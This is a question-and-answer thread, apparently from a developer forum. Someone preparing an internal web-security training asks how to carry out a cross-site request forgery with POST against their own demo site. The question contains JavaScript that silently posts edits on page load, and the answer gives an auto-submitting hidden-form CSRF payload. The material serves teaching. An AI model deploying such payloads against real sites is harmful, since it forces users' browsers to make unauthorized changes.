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Editorial Team
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Asked: 2026-05-23T23:39:09+00:00

I’m doing an introduction to the web security to some other people in our

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I’m doing an introduction to the web security to some other people in our enterprise, and I want to show some example to have more impact.

For this I’ve created a small website which is vulnerable to this attack, this website will be accessible only on our network.

I’m now trying to exploit this attack, but I’ve one question:

How to do this with a POST form?

I’ve no problem doing this with a GET query, but with a POST, I’m trying to do this with javascript, no problem if I host my code on the same host, but if I want to host my code to another host to be more realistic, I get blocked because it’s a cross-domain request.

So how should I send these POST vars?

Thank you!

Here is my current code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
        var http = false;
        //Use IE's ActiveX items to load the file.
        if(typeof ActiveXObject != 'undefined') {
            try {http = new ActiveXObject("Msxml2.XMLHTTP");}
            catch (e) {
                try {http = new ActiveXObject("Microsoft.XMLHTTP");}
                catch (E) {http = false;}
            }
        //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
        } else if (window.XMLHttpRequest) {
            try {http = new XMLHttpRequest();}
            catch (e) {http = false;}
        }
        return http;
    }
function post_to_url(path, params, method) {
    method = method || "post"; // Set method to post by default, if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        var hiddenField = document.createElement("input");
        hiddenField.setAttribute("type", "hidden");
        hiddenField.setAttribute("name", key);
        hiddenField.setAttribute("value", params[key]);

        form.appendChild(hiddenField);
    }

    document.body.appendChild(form);
    form.submit();
}

function postToUrlBackground(path, params){
    var http = getHTTPObject();

    http.open("POST", path, true);

    //Send the proper header information along with the request
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            //alert("Response received");
        }
    }
    http.send(params);
}
function TryAttack(){
    //alert("Sending");
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"    );
    //alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>
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1 Answer

  1. Editorial Team

    On the “other host” (the attacker) you just create a FORM with method POST whose action (i.e. where the form is submitted) is your vulnerable app. Then you submit it with javascript on that page.

    Like this:

    <html><body>
  <form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST">
    <input type="hidden" name="csrf_param" value="POST_ATTACK">
  </form>

  <script type="text/javascript">document.csrf_form.submit();</script>
</body></html>

    This will submit a POST to your vulnerable app from the attacker’s host, when you open that page.

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